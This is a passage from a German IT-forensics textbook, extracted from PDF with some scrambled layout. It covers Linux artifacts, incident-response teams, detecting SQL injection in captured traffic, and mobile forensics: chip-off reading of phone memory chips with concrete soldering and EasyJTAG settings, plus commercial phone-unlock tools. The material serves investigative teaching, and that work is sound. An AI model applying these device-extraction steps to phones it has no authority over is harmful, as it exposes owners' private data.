Die wichtigsten Linux/Unix - Artefakte Es gibt nicht nur ein Linux oder Unix - verschiedenste Abwandlungen und Distributionen handhaben viele Kleinigkeiten etwas anders. Das können andere Namen für Pakete oder andere Pfade für Konfigurationsdateien sein - so wird der Apache Webserver auf Debian-basierten Systemen in der Regel apache2 genannt und auf RedHat-basierten Systemen als httpd. Diese kleinen Unterschiede muss man unbedingt kennen und bei der Auswertung beachten! Shell-History - zB /root/.bash_history bzw. /home/[user]/.bash_history Hierbei müssen wir bedenken, dass es neben bash noch einige andere Shells gibt. Welche Shell ein User verwendet finden wir in der Datei /etc/passwd vermerkt. Die meisten Shells haben eine Histrory-Datei in der vom User abgesetzte Befehle gespeichert sind. Hierbei haben wir normalerweise keine Datums- und Zeitangaben wann welcher Befehl ausgeführt wurde aber wir können die Befehle zumindest einem User zuordnen. Bedenken Sie auch, dass unsere Befehle die wir bei der Live-Analyse ausgeführt haben auch in diesen Dateien landen. Es wäre also nicht schlecht wenn wir dazu eine andere Shell als die User-Shell verwenden! Shell-Konfigurationsdatei - zB /root/.bashrc bzw. /home/[user]/.bashrc In diesen Konfigurationsdateien können zB Aliase (Kurzschreibweisen für Befehle) und einige andere Dinge hinterlegt werden, die beim Login ausgeführt werden. Daher eignet sich diese Datei auch gut um zB Schadware wie Keylogger zu starten. Logdateien Diese finden Sie in der Regel unter /var/log. Je nach Systemkonfiguration können Logs aber auch auf einem externen Logserver liegen. Einige Programme legen Ihre Logs in Unterordner wie zB der Apache Webserver. Bedenken Sie auch, dass Logs oftmals archiviert und komprimiert werden. So finden wir zB auf einem meiner Systeme folgendes: -rw-r-----rw-r-----rw-r-----rw-r-----rw-r-----
1 1 1 1 1
syslog syslog syslog syslog syslog
adm adm adm adm adm
1276380 1259971 96175 128226 94994
Okt Okt Okt Okt Okt
30 24 17 11 3
20:09 00:09 00:05 00:07 00:07
ufw.log ufw.log.1 ufw.log.2.gz ufw.log.3.gz ufw.log.4.gz
Hierbei ist ufw.log.1 die vorherige Log-Datei und ufw.log.2.gz die Gzipkomprimierte vorvorherige Logdatei. 313
Versteckte Ordner im User-Verzeichnis - zB /home/[user]/.mozilla oder /home/[user]/.xchat2 oder /home/root/.ssh Alle Dateien und Ordner, die mit einem . beginnen sind versteckt und werden in Dateibrowsern nicht angezeigt außer man aktiviert die Anzeige versteckter Dateien. Gleiches gilt zB für ls - nur mit der Option -a werden auch versteckte Ordner und Dateien angezeigt. In diesen versteckten Ordnern und Dateien in Benutzerverzeichnis finden wir von Programmkonfigurationen bis zu Profilen der Webbrowser und E-Mail-Clients sehr viele nützliche Dinge. Da wir hier meist einfache Textdateien haben, ist eine Manipulation der Artefakte sehr einfach möglich. Bedenken Sie also immer, dass Sie auf die Sinnhaftigkeit und auf fehlende Zeiträume achten müssen. Daher sollte man Logs auch außerhalb der Timeline für sich alleingenommen betrachten!
314
315
IT-FORENSIK ALS TEILAUFGABE DES CSIRT CSIRT steht für "Computer Security and Incident Response Team". Dies ist ein Team von Spezialisten die auf sicherheitsrelevante Vorfälle innerhalb einer Firma reagieren. Größere Firmen haben hierzu oft eigene Teams und kleinere Firmen outsourcen diese Aufgabe an spezialisierte Dienstleister. Incident Response folgt in der Regel folgendem Zyklus: 1. 2. 3. 4. 5. 6.
Vorbereitung auf mögliche Angriffe Erkennen eines Vorfalls Analyse Eindämmung Beheben der Schwachstelle und Wiederherstellung Abschlussbericht und Verbesserungsvorschläge erarbeiten um zukünftige Vorfälle dieser Art zu erschweren oder ganz zu verhindern
Bei der Vorbereitung beschäftigt sich das CSIRT mit möglichen Angriffen, deren Verhinderung und Notfallplänen für den Ernstfall. Teile dieser Arbeit fließen in Firmenrichtlinien, Backup- und Sicherheits-Konzepte, etc. ein. Die Information das ein möglicher Vorfall vorliegt kann aus den unterschiedlichen Quellen stammen von IDS- und Firewall-Logs über einen Administrator dem ungewöhnliche Aktivitäten auffallen oder Usern die einen E-Mail-Anhang geöffnet haben bis hin zu externen Quellen wie der Polizei oder ihrem Provider der Sie informiert, dass ihre IP für Angriffe auf andere Computersysteme oder diverse andere illegale Aktivitäten missbraucht wird. Darum ist die Vorbereitung auch sehr wichtig denn sobald ein derartiger Vorfall bekannt wird, müssen Zuständigkeiten, Aufgabenverteilung, Vorgehensweise, verwendete Tools und mögliche Eindämmungs- und Gegenmaßnahmen bereits geplant sein um keine Zeit zu verlieren! Bei der Analyse kann IT-Forensik einen großen Teil der Arbeit ausmachen aber nicht jeder Angriff bedarf einer genaueren forensischen Analyse - bei einem gehackten Server über den nun Phishing betrieben wird, ist eine Beweismittelsicherung und entsprechende Analyse durchaus angebracht um für eventuelle Schadensersatzforderungen oder Anfragen der Strafverfolgungsbehörden gewappnet zu sein. Ein DDoS-Angriff wird hingegen kaum eine genauere forensische Auswertung rechtfertigen. 316
Als Teil des CSIRT geht es bei forensischen Untersuchungen der betroffenen Systeme auch primär um die Beweissicherung und Analyse soweit dies für Gegenmaßnahmen (Anzeigen, Abuse-Reporte an Provider, IP-Sperren an der Firewall, etc.) nötig ist und nicht darum den Verursacher auszuforschen. Die Zeit für eine sehr detaillierte Analyse fehlt meist und daher werden nur oberflächlichere Analysen erstellt, die dazu dienen die geeigneten Eindämmungsund Gegenmaßnahmen zu ermitteln bzw. Details für diese wie zB IP-Adressen oder IP-Adressbereiche zu liefern. Bei der Eindämmung wird versucht Schaden für weitere Bereiche der ITInfrastruktur zu verhindern. Oftmals werden betroffene Clients und Server isoliert und damit quasi zu einem Honeypot. Somit ist es auch nicht unüblich die Angreifer live am System zu beobachten bevor die betroffenen Systeme ausgeschalten und gesäubert werden. Anschließend werden im nächsten Schritt die letzten Beweise gesichert indem beispielsweise betroffene Datenträger geklont werden. Meist werden parallel dazu die betroffenen Systeme neu aufgesetzt oder von Malware gesäubert um dann wieder in Betrieb genommen zu werden. Es werden entsprechende Patches oder Updates eingespielt und andere Maßnahmen getroffen um weitere Angriffe zu verhindern. Der finale Schritt ist das Erarbeiten eines Abschlussberichts der auch Verbesserungsvorschläge nennt, die zukünftige Vorfälle dieser Art erschweren oder verhindern sollen. Meist wird dieser Bericht in verschiedenen Detailgraden für die verschiedensten Nutzer erstellt. Die Firmenleitung oder Marketing-Abteilung benötigt beispielsweise keine technischen Details um zusätzliche Investitionen zu genehmigen oder beruhigende Statements zu erarbeiten um einen möglichen Image-Schaden einzudämmen. Die IT-Abteilung benötigt hingegen alle technischen Details um entsprechende Gegenmaßnahmen und Verbesserungen umzusetzen. Das CSIRT ist in der Regel in folgende Bereiche unterteilt:
317
> Kern-Team Erledigt die Planung, Analyse, Beweissicherung, Auswertung, etc. > Technischer Support Hierunter fallen zB Administratoren, Help-Desk, etc. die das Kern-Team bei bestimmten Teilaufgaben wie Erfassen von Logdateien und Paket-Captures, Identifizierung von legitimen und veränderten oder neu angelegten Useraccounts, Identifizierung kompromittierter Systeme, usw. unterstützen. Außerdem kümmern sie sich um User- und Kundenanfragen damit das CSRIT sich nicht zusätzlich damit beschäftigen müsste. > Administrativer Support Dies kann alles von der Personal- über die Marketingabteilung bis zum Hausmeister oder dem Wachschutz sein, der dem CSIRT Zugang zu zusätzlichen Informationen über Mitarbeiter oder den Zutritt zu bestimmten Bereichen im Firmengebäude gewährt. Die Marketingabteilung wird hingegen versuchen auf Kunden beruhigend einzuwirken um einen Image-Schaden und ein zu hohes Telefonaufkommen zu verhindern und so den Administrativen Support zu entlasten. Außerdem kann diese Abteilung Kunden vor möglichen Angriffen (zB gefälschte E-Mails) warnen und so auch die mögliche Anzahl der Vorfälle eindämmen. > Externe Nutzer Dies kann der Provider oder auch Strafverfolgungsbehörden sein, die auf Basis der Informationen des CSIRT tätig werden und Nutzern den Internetzugang sperren (zB nach einem Abuse-Report) oder eine Ermittlung nach einer Anzeige einleiten. Sie sehen an den Bereichen auch gut, dass hier ein entsprechender Plan und eine Aufgabenteilung vorliegen muss, damit alle gut zusammenarbeiten können und ein Vorfall schnellstmöglich abgearbeitet werden kann. Geschwindigkeit ist hierbei auch der entscheidende Faktor denn die meisten Unternehmen werden ohne Ihre IT-Infrastruktur sehr eingeschränkt funktionieren und jede Minute kostet Geld! Genau darum gibt es auch Tools wie Belkasoft T oder Binalyze DRONE und AIR...
318
Beispiel Metasploitable Netzwerkverkehr In einer Insident Response Situation kann es manchmal nützlich sein einen Angreifer für eine gewisse Zeit gewähren zu lassen um den Angriff zu analysieren. Natürlich nur bis zu diesem Zeitpunkt an dem ein Schaden oder Datenverlust zu wahrscheinlich wird. Oftmals ist dies in der Anfangsphase eines Angriffs sehr gut machbar. In anderen Situationen ist es mit einer Live-Analyse eines Angriffs einfacher Beweise zu sammeln. Dies ist beispielsweise in Fällen von Verletzungen von Benutzerrichtlinien ein guter Ansatz. So können die Aktionen eines auffälligen Nutzers analysiert und überwacht werden bis klar wird worauf der Nutzer es abgesehen hat. Wireshark kennen wir bereits allerdings hat das Tool einen großen Nachteil. Wir müssen die Analyse der Pakete selbst vornehmen. Das ermöglicht uns die größte Flexibilität, aber in den oben genannten Fällen ist eine manuelle Analyse zeitlich oftmals nicht möglich. Daher will ich Ihnen hier zwei weitere nützliche Tools für Ihr Arsenal vorstellen: Networkminer Dieses Tool erlaubt die Aufzeichnung und Live-Analyse von Netzwerk-Paketen.
319
Hierbei gliedert sich das Interface in mehrere Tabs in denen wir verschiedenste Informationen aus dem Netzwerkverkehr aufbereitet bekommen. Die Pro-Version für den professionellen Einsatz ist zwar nicht gerade günstig aber ein sehr nützliches Tool. Im zuvor gezeigten Screenshot sehen wir eine Übersicht der Hosts mit denen eine Kommunikation stattfindet. Im Files-Tab können wir alle übertragenen Dateien sehen:
Das sind in diesem Fall einige HTML-Dateien und die Datei SYPPS.php, welche wir uns mit einem Doppelklick genauer ansehen... So können wir den Quellcode der Datei analysieren. Natürlich könnten wir zB eine der HTML-Dateien auch gleich in Browser öffnen, um uns den Inhalt der Datei gerendert anzusehen. Dazu klicken wir mit der rechten Maustaste auf den Eintrag in der Liste und wählen im Kontextmenü Öffnen aus. Dies ist natürlich mit vielen anderen Datentypen auch möglich!
320
Hier lässt der kleine Code-Ausschnitt nichts Gutes vermuten. Auffällig ist auch die große Anzahl der übertragenen Parameter. Also sehen wir uns diese Liste genauer an:
Hier sehen wir gleich einige Parade-Beispiele für einen SQLi Angriff...
321
So können wir relativ schnell einen Überblick bekommen was passiert und wir haben die Daten bereits zu einem großen Teil ausgewertet. Eine kostenlose Alternative stellt folgendes Tool dar. Chaosreader ... ist ein CLI-Tool das beispielsweise über das WSL ausgeführt werden kann: mb@DESKTOP-JK64KQR:/mnt/d/Sample_files$ ble.pcap
chaosreader
-ve
metasploita-
Chaosreader ver 0.95.10 Opening, metasploitable.pcap Reading file contents, 100% (888474/888474) Reassembling packets, 100% (2386/2400) Creating files...
Hierbei wird ein Paket-Dump analysiert und in einen HTML-Report beschreiben:
322
Eine Art von Live-Analyse ist mit chaosreader -S 1,99 zu erreichen. Hierbei wird chaosreader 99-mal für eine Minute das Netzwerk sniffen und dann jeweils eine Auswertung erstellen. Wenn wir eine der session_####.part_##.html öffnen, sehen wir die Webseite die übertragen wurde:
Auch hier erkennen wir die Anzeichen für einen SQLi Angriff überdeutlich. Der GET/POST Report erlaubt uns einen Überblick über alle Anfragen an einen Webserver:
So können wir auch schnell potentielle Angreifer identifizieren. Wobei chaosreader im Vergleich zu NetworkMiner deutlich weniger bietet und auch stark auf die Analyse von Angriffen auf Webseiten bzw. Webserver zugeschnitten ist.
323
Zumindest werden die wichtigsten Protokolle geparst und halbwegs übersichtTCPflow lich aufbereitet. Weitere interessante Tools wären https://github.com/simsong/tcpflow Zeek Network Security Monitor ( ) und https://zeek.org/ ( ).
324
325
MOBILTELEFON FORENSIK Heutzutage greifen mehr Leute mit mobilen Endgeräten (Telefon, Tablet, ...) auf das Internet zu als mit regulären Computern (Laptops, Stand-PC). Außerdem nutzen viele Personen ihr Smartphone für viel mehr als nur das Telefonieren und schreiben von E-Mails und Nachrichten! Influencer bestreiten Ihren Lebensunterhalt mit dem Content den Sie auf diversen Plattformen posten und viele davon arbeiten mit Ihrem Handy oder Tablet quasi hauptberuflich. Eine große Anzahl an Personen nutzt das Smartphone als zusätzliches Gerät für die Zwei-Faktor-Authentifizierung und manche Apps sind vom Mobiltelefon aus am verwundbarsten. So kenne ich Banking-Apps die bei Überweisungen von PC eine Bestätigung mit der App am Telefon verlangen um die Transaktion zu autorisieren. Überweist man das Geld von der App im Telefon direkt, gibt es keine zusätzliche Bestätigungsnachricht per E-Mail oder dergleichen. Das macht mobile Endgeräte für Cyberkriminelle sehr interessant denn diese können über das Telefon am einfachsten und schnellsten an das Geld ihrer Opfer kommen. Die Leistung von Telefonen ist außerdem in den letzten Jahren dramatisch angestiegen und die Öffentlichkeit hat sich schon längst daran gewöhnt, dass überall Leute etwas mit ihrem Handy machen. Wäre vor einigen Jahren jemand der mit dem Laptop im Auto vor einem Gebäude sitzt und das WLAN knackt noch als ungewöhnlich aufgefallen, ist es heute normal, dass jemand mit dem Handy in der Hand an der Ecke steht und damit etwas macht. Mit Tools wie Nethunter wird manches Smartphone sehr schnell in ein unauffälliges und vielseitiges Hacking-Tool verwandelt. Aber auch kriminelle kommen kaum noch ohne digitale Kommunikation aus und so manche App bietet auch entsprechend sichere Kommunikationskanäle um es Ermittlern sehr schwer zu machen. Kurz um - wir kommen an diesen Geräten heute kaum noch vorbei!
326
Chip-Off Forensik bei alten / unverschlüsselten Geräten Also fangen wir mit einigen noch nicht verschlüsselten Geräten und (fast) allen Android-Telefonen vor Version 6.x an. Diese Geräte sind sehr einfach auszulesen. Die fehlende Verschlüsselung erlaubt es uns die Daten einfach über den JTAG-Port oder direkt vom Speicherchip zu lesen. Zuerst müssen wir das Gerät zerlegen und den Speicherchip identifizieren. Dazu googeln wir einfach die Datenblätter zu den Bezeichnungen auf den Chips und bei "Hynix H9TP32A8JDMC datasheet" werden wir in diesem Beispiel fündig: "32G EMMC FLASH FBGA162" Das sind nicht 32 Gigabyte, sondern 32 Gigabit. Das entspricht 4 GB und damit der Speichergröße des Telefons. Außerdem sehen wir, dass dies ein BGA162 Chip ist. Hierbei steht BGA162 für "Ball Grid Array" mit 162 Pads. Das sind Chips die keine Füßchen, sondern Kontaktpads auf der Unterseite haben. Die 162 ist ein Standard für ein bestimmtes Layout an Pads. Das sagt uns also welchen Socket wir zum Lesen benötigen. Ich habe für diese Chips entsprechende Sockets für meine EasyJTAG Box und nochmals ein entsprechendes Socket im MOORC E-MATE X 13-in-1 Set mit dem SDKarten Adapter. Damit kann ich den Chip wahlweise wie eine SD-Karte an einem Kartenleser anschließen (MOORC) oder an der EasyJTAG Box (https://easy-jtag.com/). Ich entscheide mich für ersteres da ich mit der EasyJTAG Box auch gut die Lesegeschwindigkeit und damit die Stabilität anpassen kann. Neben EasyJTAG gibt es viele weitere Boxen die alle bestimmte Vor- und Nachteile haben. Diese Geräte sind allerdings nicht für Datenrettungen gebaut worden, sondern für Anbieter von Mobiltelefon-Shops um Geräte zu flashen, entsperren, etc.
327
Zum Entlöten verwende ich meine Heißluft-Lötstation mit einer passenden Düse um den Luftstrom auf den Chip zu konzentrieren. Als Vorheiztemperatur verwende ich 180°C und als Luftstromtemperatur 410°C wobei dies die Angaben meiner Lötstation sind und die Temperaturen auf der Platine vor allem bei günstigen Lötstationen stärker abweichen können. Um keine kleinen Bauteile von der Platine zu blasen habe ich den Luftstrom auf ca. 30% geregelt. Ich versuche in solchen Fällen recht heiß und schnell zu löten wobei die Vorwärmplatte die Temperatur-unterschiede über den ganzen PCB etwas angleicht um die Belastung durch ein Verziehen des PCB zu reduzieren. Der Haltearm ermöglicht es mir die Hände frei zu haben um den Chip schnell mit einer Pinzette abzuheben, wenn dieser frei ist. Je nach Hersteller und Modell haben wir es hier auch mit versiegelten Chips zu tun. Diese sind mit einer Art Harz unterfüllt um den Chip vor Feuchtigkeit zu schützen. Dieser Schutz ist beim Entlöten ein echtes Ärgernis und macht die ganze Aufgabe deutlich schwerer. In solchen Fällen nutze ich ein Skalpell um mich langsam an den Rändern entlang zu arbeiten und dann von einer Seite langsam und vorsichtig immer weiter bis der Chip frei ist. Dabei muss man nicht nur vorsichtig, sondern auch schnell sein um den Chip nicht zu überhitzen! Wir müssen bei derartigen Chips die Temperatur durch den Chip auf die Pads darunter bringen und darum sollte man die Lötzeit kurz halten um keine Beschädigung des Chips zu riskieren. Man darf aber auch nicht zu heiß löten, um den Chip nicht zu verbrennen. 328
Sie müssen für sich passende Einstellungen mit Ihrer Lötstation selber finden!
Hierbei gilt: Viel Flussmittel hilft viel! Sie sehen an diesem Bild gut wie die Form der Pads an der Unterseite aussieht, aber Sie sehen auch, dass keine Bauteile rund um den Chip verschoben sind. So sollte ein gutes Ergebnis aussehen! Wenn Sie mit derartigen Untersuchungen beginnen, sollten Sie mit verschiedensten alten Platinen üben bis Ihre Ergebnisse gut aussehen. Wir sehen bei diesem Telefon aber auch einen weiteren Stolperstein für TelefonReparaturen:
329
Hier sehen wir, dass in diesem Telefon zwei unterschiedlich lange Schrauben verbaut sind. Der Unterschied ist zwar nur 1mm aber das kann reichen um ein Bauteil zu beschädigen! Bei Telefonen und vielen anderen elektronischen Geräten ist es unbedingt nötig sich zu merken welche Schraube an welcher Stelle gewesen ist. Drehen wir eine zu lange Schraube an die falsche Stelle, kann dies Bauteile kurzschließen oder eventuell sogar die Platine selber beschädigen und Leiterbahnen unterbrechen. Daher gibt es Löt-/Arbeitsmatten mit kleinen nummerierten Fächern in die man einzelne Schrauben legen kann. Ich habe eine solche Arbeitsunterlage mit 8x14 solchen Vertiefungen an der Seite. Darin kann ich die einzelnen Schrauben nicht nur sicher ablegen und vor den wegrollen Schützen sondern auch grob das Muster legen in dem die Schrauben in das Telefon gehören. So kann ich weder eine Schraube verlieren noch vergessen an welcher Position diese waren! Nachdem der Speicherchip entlötet wurde, müssen wir die Pads säubern. Dazu kann man eine feine Entlötlitze und viel Flussmittel verwenden. Arbeiten Sie möglichst vorsichtig! Ein solches Pad ist schneller abgerissen als Sie glauben. Üben Sie keinen Druck aus oder reiben Sie nicht mit der Entlötlitze über die Pads. Wenn die Temperatur stimmt und ausreichend Flussmittel verwendet wird, gleitet die Entlötlitze wie von allein über die Pads! Es ist auch empfehlenswert, dass Sie ein kleines Stück der Entlötlitze abschneiden und nur mit dem abgeschnittenen Stück arbeiten. Metall ist ein sehr guter Wärmeleiter und Sie wollen Wärme in die Pads und die Reste vom Lötzinn bekommen und nicht 3m Entlötlitze erhitzen! 330
Ein kleines Stück von ca. 1 cm Länge erwärmt sich schnell und kann vorsichtig mit dem Lötkolben über die ganze Fläche geschoben werden... Nachdem der Chip gesäubert ist kann dieser beschriftet und in den passenden Sockel eingesetzt werden. Ich verwende hierzu wieder den Pica Classic 532 da dieser Lackstift nicht gepumpt werden muss und daher seine feine Spitze auch länger behält, aber trotzdem gut auf verschiedensten Materialien hält... Meist markiere ich auch an der Oberseite den Pin 1, da viele Chips diese Markierung nur an der Unterseite haben und ich den Chip nicht laufend umdrehen will um nachzusehen. Es ist hierbei sehr wichtig, dass die Pads gut gesäubert wurden und es keine Reste von Lötzinn gibt, die hervorstehen. Bei unterfüllten Chips müssen oft die Ränder vorsichtig mit einem Skalpell gereinigt werden damit der Chip sauber in den Sockel passt. Achten Sie unbedingt darauf, dass der Chip gerade aufliegt! Sind die Ränder auch nur leicht durch Harz-Reste verbreitert sitzen die Chips nicht gerade im Sockel und brechen, wenn der Deckel geschlossen wird und das bedeutet totalen Datenverlust! Derartige Sockel können einen Chip nur sauber lesen, wenn dieser flach aufliegt. Sollte auch nur ein Pad einen größeren Punkt aus Lötzinn haben, riskieren Sie im schlimmsten Fall, dass der Chip bricht und die Daten verloren gehen! Sollte ein Chip nicht erkannt werden versuchen Sie den Chip zu entnehmen und neu hineinzusetzen. Oftmals nutze ich einen Blasebalg um den Sockel von kleinen Staubkörnern zu befreien und den Chip kann man mit einem fusselfreien Tuch von Fettresten und/oder Schuppen befreien. Es reicht oftmals schon, wenn nur ein Pad keinen Kontakt hat, damit der Chip nicht gelesen werden kann.
331
Den Sockel verbinden wir dann mit dem EasyJTAG. Dieses Tool wird mit drei unterschiedlichen Programmen geliefert: > EasyJTAG Plus EMMC, > EasyJTAG SPI Flasher und > EasyJTAG Tool Wir verwenden im Folgenden das Programm EasyJTAG Plus EMMC. Wenn Sie das MOORC Set mit dem SDKarten Adapter verwenden, dann verbinden Sie den Socket mit dem SDKarten Adapter und den Adapter mit einem USB-Kartenleser. Der Chip wir dann wie eine SD-Speicherkarte am PC eingehängt und kann mit entsprechender Software ausgelesen werden. Vergessen Sie aber nicht auch noch einen Write-Blocker dazwischen zu setzen um keine Daten zu verändern, wenn die mit dem MOORC Set arbeiten! In EasyJTAG wählen Sie 1.8V und 1MHz aus. Je langsamer Sie lesen umso stabiler wird der Vorgang. Ich beginne immer mit der niedrigsten Volt-Zahl und der langsamsten Geschwindigkeit. Wenn ich eine ID vom Chip bekomme, kann ich versuchen ob dies auch bei 42MHz (schnellste Einstellung) klappt. Wenn nicht, versuche ich die nächst langsamere Einstellung, usw. Bis die Kommunikation mit dem Chip wieder klappt. Durch das Testen auf der langsamsten Einstellung schließe ich Probleme mit instabilen Chips aus! Außerdem wähle ich bei Interface EasyJTAG2 / E-Socket und bei Bus-Weite 1 bit aus.
332
Nachdem Sie auf Check EMMC/UFS geklickt haben sollten Sie folgende Meldungen sehen: eMMC_tool Suite ver. 1.6.3.0 (release date: 23.06.2020) Microsoft Windows 10 (64 bit) build 19041 (10.0.19041.662) Looking for EasyJTAG box... EasyJTAG API ver. 3401 EasyJTAG Box Serial = CD73030F70F33A45 Card Serial = AA18D36B EasyJTAG Box Firmware = 2.5301 Changelog: 23.06.2020 (ver 1.6.3.0) Fix: Bugs that have been found through your crash report Setting interface to EasyJtag2/E-Socket Setting bus width to 1 Bit Setting frequence to 1 MHz EMMC Device Information : EMMC CID: 90014A2058494E594816A1D928CB4081 EMMC CSD: D02701320F5903FFFFFFFFE78A4040E3 EMMC Manufacture : SKHYNIX , EMMC NAME: XINYH , HEX: 0058494E5948 , S/N: A1D928CB , rev. 0x16 EMMC Manufacture ID: 0x90 , OEM ID: 0x4A , Device Type: BGA (Discrete embedded) , Date: 4/2013 EMMC ROM 1 (Main User Data) Capacity: 3696 MB (0000E7000000) EMMC ROM 2/3 (Boot Partition 1/2) Capacity: 2048 KB (000000200000) EMMC RPMB (Replay Protected Memory Block) Capacity: 2048 KB (000000200000) Counter: 0 , Response: Clean EMMC Permanent Write Protection: No EMMC Temporary Write Protection: No Extended CSD Information : Extended CSD rev: 1.5 (MMC 4.41) Boot configuration [PARTITION_CONFIG]: 0x38 , Boot from: ROM1 (Main User Area)
333
Boot Bus Config: 0x00 , width 1bit H/W Reset Function [RST_N_FUNCTION]: 0x00, RST_n signal is temporarily disabled Supported partition features [PARTITIONING_SUPPORT]: 0x03 Device supports partitioning features Device can have enhanced technological features in partitions and user data area Partition Settings [PARTITION_SETTING_COMPLETED]: 0x00 Backup saved: XINYH_A1D928CB_20220126_125436.extcsd EMMC Init completed. Scanning soft partitions GPT header is not found MBR header is found. Analyzing data ... Partition: mmcblk0p0 [000000000200 - 000000005200], size: 000000005000 (20,0 KB) Partition: mmcblk0p1 [000000005200 - 000000043A00], size: 00000003E800 (250 KB) Partition: mmcblk0p2 [000000043A00 - 000003243A00], size: 000003200000 (50,0 MB) EBR detected at address: 000003243A00 Partition: mmcblk0p3 [000004000000 - 000004200000], size: 000000200000 Partition: mmcblk0p4 [000004200000 - 000004500000], size: 000000300000 Partition: mmcblk0p5 [000004500000 - 000004800000], size: 000000300000 Partition: mmcblk0p6 [000004800000 - 000004B00000], size: 000000300000 Partition: mmcblk0p7 [000004B00000 - 000004D00000], size: 000000200000 Partition: mmcblk0p8 [000004D00000 - 000005100000], size: 000000400000 Partition: mmcblk0p9 [000005100000 - 000005200000], size: 000000100000 Partition: mmcblk0p10 [000005200000 - 0000052C0000], size: 0000000C0000 Partition: mmcblk0p11 [0000052C0000 - 000006002000], size: 000000D42000 Partition: mmcblk0p12 [000006002000 - 000006A02000], size: 000000A00000 Partition: mmcblk0p13 [000006A02000 - 000007402000], size: 000000A00000 Partition: mmcblk0p14 [000007402000 - 000008144000], size: 000000D42000 Partition: mmcblk0p15 [000008144000 - 000030B44000], size: 000028A00000 Partition: mmcblk0p16 [000030B44000 - 000038344000], size: 000007800000 Partition: mmcblk0p17 [000038344000 - 000038349000], size: 000000005000 Partition: mmcblk0p18 [000038349000 - 000087449000], size: 00004F100000 Partition: mmcblk0p19 [000087449000 - 0000E5049000], size: 00005DC00000 Partition: mmcblk0p20 [0000E5049000 - 0000E5349000], size: 000000300000 Partition: mmcblk0p21 [0000E5349000 - 0000E6FFFE00], size: 000001CB6E00 MBR header successfully parsed Get firmware version GPT header is not found GPT header is not found 334
Brand = Lenovo Manufacturer = LENOVO Device = audi Model = Lenovo A760 Phone platform = msm7627a CPU Abi = armeabi-v7a Android release = 4.1.2 Firmware version = audi-user 4.1.2 JZO54K A760_1_S_2_001_0133_130828 test-keys Firmware date = Wed Aug 28 12:03:27 CST 2013
Wir sehen, dass Informationen zum Telefon geladen wurden und auch zu den Partitionen. Damit könnten Sie mit dem Read eMMC Button den gesamten Speicherchip klonen:
Dazu sollten wir unter Rom to access den Punkt 000000000 - xxxxxxxx (ROM1) auswählen um den gesamten Chip zu klonen. Hierbei steht xxxxxxxx für das jeweilige Ende des Chips in hexadezimaler Schreibweise. Wir könnten bei Bedarf auch nur bestimmte Partitionen oder Speicherbereiche klonen. Hierbei wäre es ratsam die Daten mit mehr als 1 MHz zu klonen denn mit der langsamsten Einstellung würde der 4 GB Chip ca. 13 - 14 Stunden benötigen.
335
Alternativ dazu kann man die JTAG-Kontakte auf der Platine verwenden. So muss der Speicherchip nicht ausgelötet werden:
336
Telefone entsperren Apple-Geräte und quasi alle Android-Geräte ab Android 6.x sind verschlüsselt und ein entfernen des Speicherchips würde zwar nach wie vor erlauben den Inhalt des Chips zu lesen aber wir könnten damit nichts mehr anfangen. Das ist auch gut so denn abgesehen von privaten Fotos und Informationen haben die meisten Leute auch Passwörter, Zugang zu Ihren Bank- und PayPalKonten, eventuell Kreditkartendaten und einiges mehr auf dem Smartphone gespeichert. Ein Dieb kann also nicht mit einem 120 EUR MOORC Set darauf zugreifen aber das Gleiche gilt auch für Strafverfolgungsbehörden, Datenretter und IT-Forensiker. Als Datenretter wären die meisten Kunden gern bereit mit die PIN-Codes oder das Sperrmuster zu verraten aber wenn das Telefon mit einem Fingerabdruck gesichert ist, können sich die Kunden schlecht den Finger abschneiden und ihn mit dem Telefon mitsenden... Im Bereich der IT-Forensik finden sich eventuell Beweise auf einem Telefon und alles was einen potentiellen Straftäter vor einer Verurteilung bewahren könnte, ist sein PIN-Code oder Sperrmuster. Daher können wir hier eher selten davon ausgehen diese Informationen zu bekommen außer wir untersuchen ein Gerät eines Opfers. Das Entsperren eines Mobiltelefons basiert in der Regel auf einem Exploit oder einem Weg den die Toolhersteller gefunden haben die PIN-Nummer oder das Sperrmuster herauszufinden. Eines will ich vorab klarstellen. Die Tools die ich Ihnen im Folgenden vorstelle kosten jeweils zigtausend Euro und funktionieren mit Glück in einem von drei Fällen, eher in einem von vier Fällen. Die einzige Möglichkeit diese bescheidene Quote zu erhöhen ist es gleich mehrere Tools zu besitzen. Diese überschneiden sich zwar meist in großen Bereichen, haben aber in der Regel einige Techniken, die in bestimmten Fällen besser funktionieren als bei anderen Tools. So kann man nochmals 10 - 15% mehr Fälle lösen, wenn man die passende Toolzusammenstellung besitzt. Also sehen wir uns das meiner Meinung nach beste Tool für den Beginn an:
337
Oxygen Forensic Detective ist ein Tool, dass zu den zwei besten am Markt gehört. Der Vorteil von Oxygen ist der Preis. Die Anschaffung ist gut 20-25% günstiger als das Konkurrenzprodukt und die jährlichen Wartungskosten sind ca. 50-75% günstiger als beim Konkurrenzprodukt. Was die Funktionen bei der Untersuchung und den Funktionsumfang betrifft, übertrifft Oxygen die Konkurrenz da viele Dinge die Oxygen im Paket enthalten hat, bei der Konkurrenz nochmals einiges an Zusatzkosten verursachen. Bei der Datenextraktion von gesperrten Telefonen sind die zwei Tools meiner Meinung nach gleichwertig. (https://www.oxygen-forensic.com/) Zwei weitere interessante Produkte wären: > Mobiledit (https://www.mobiledit.com/) > Belkasoft X (https://belkasoft.com/) Mobiledit bietet einige interessante Ansätze so kann man beispielsweise eine Lizenz für ein Telefon kaufen. Damit hat man zwar keine Unlock-Funktionen aber falls man vereinzelt Telefone untersuchen muss deren Sperrcode man kennt, ist dies eine wirklich interessante Option! Die Pro-Version kostet einige tausend Euro, bietet aber zumindest einige Ensperr-Funktionen und Compelson (der Hersteller von Mobiledit) ist sehr aktiv mit Updates und holt gegenüber der Konkurrenz mit großen Schritten auf. Damit kann dieses Tool durchaus in Einzelfällen eine gute Ergänzung zu Oxygen sein. Belkasoft X ist neben OS Forensics eines der sehr günstigen Einsteiger-Tools und bietet ebenfalls ein paar Unlock-Funktionen für wenige Telefone. Wenn Sie ein günstiges Gesamtpaket für Telefone und Computer suchen, kann X interessant sein aber es ist keine wirklich gute Ergänzung zu Oxygen. Passware Mobil-Kit (https://www.passware.com/kit-mobile/) ist ein Tool, dass keine Analysen anbietet aber für derzeit ca. 1500 Euro bekommt man bis zu 300 Extraktionen pro Jahr und die Liste der unterstützten Modelle steigt gefühlt wöchentlich an. Passware ist für seine forensischen Passwortknacker bekannt und liefert auch hier wieder ein interessantes Produkt, dass viel Potential hat. Außerdem gibt es eine Demo-Version, die zwar 200 Euro kostet, aber 5 Extraktionen erlaubt. Damit ist dies auch wieder eine Option für 